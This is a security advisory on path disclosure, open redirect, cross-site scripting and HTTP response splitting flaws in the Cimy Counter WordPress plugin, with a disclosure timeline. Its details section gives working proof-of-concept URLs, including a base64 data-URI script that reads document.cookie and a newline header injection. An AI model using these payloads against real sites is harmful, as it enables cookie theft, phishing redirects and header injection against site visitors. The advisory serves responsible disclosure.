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Advisory: Vulnerabilities in Cimy Counter for WordPress
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URL: http://sebug.net/exploit/19862/-----------------------------
Affected products: Cimy Counter 0.9.4and previous versions.-----------------------------
Timeline:20.04.2010- found vulnerabilities.28.04.2010- announced at my site.29.04.2010- informed developer.06.05.2010- developer released Cimy Counter 0.9.5. In version 0.9.5 the
author fixed all mentioned vulnerabilities except Redirector (aka URL
Redirector Abuse in WASC TC v2). And I gave him addition argumentation to
fix Redirector hole also.24.06.2010- disclosed at my site.-----------------------------
Details:
These are Full path disclosure, Redirector, Cross-Site Scripting and HTTP
Response Spitting vulnerabilities.
Full path disclosure:
http://site/wp-content/plugins/cimy-counter/cimy_counter.php
http://site/wp-content/plugins/cimy-counter/cc_redirect.php?cc=Downloads&fn=%0A1
Redirector:
http://site/wp-content/plugins/cimy-counter/cc_redirect.php?cc=Downloads&fn=http://websecurity.com.ua
XSS:
http://site/wp-content/plugins/cimy-counter/cc_redirect.php?cc=Downloads&fn=data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5jb29raWUpPC9zY3JpcHQ%2b
HTTP Response Spitting:
http://site/wp-content/plugins/cimy-counter/cc_redirect.php?cc=TestCounter&fn=%0AHeader:test
Works at old versions of PHP.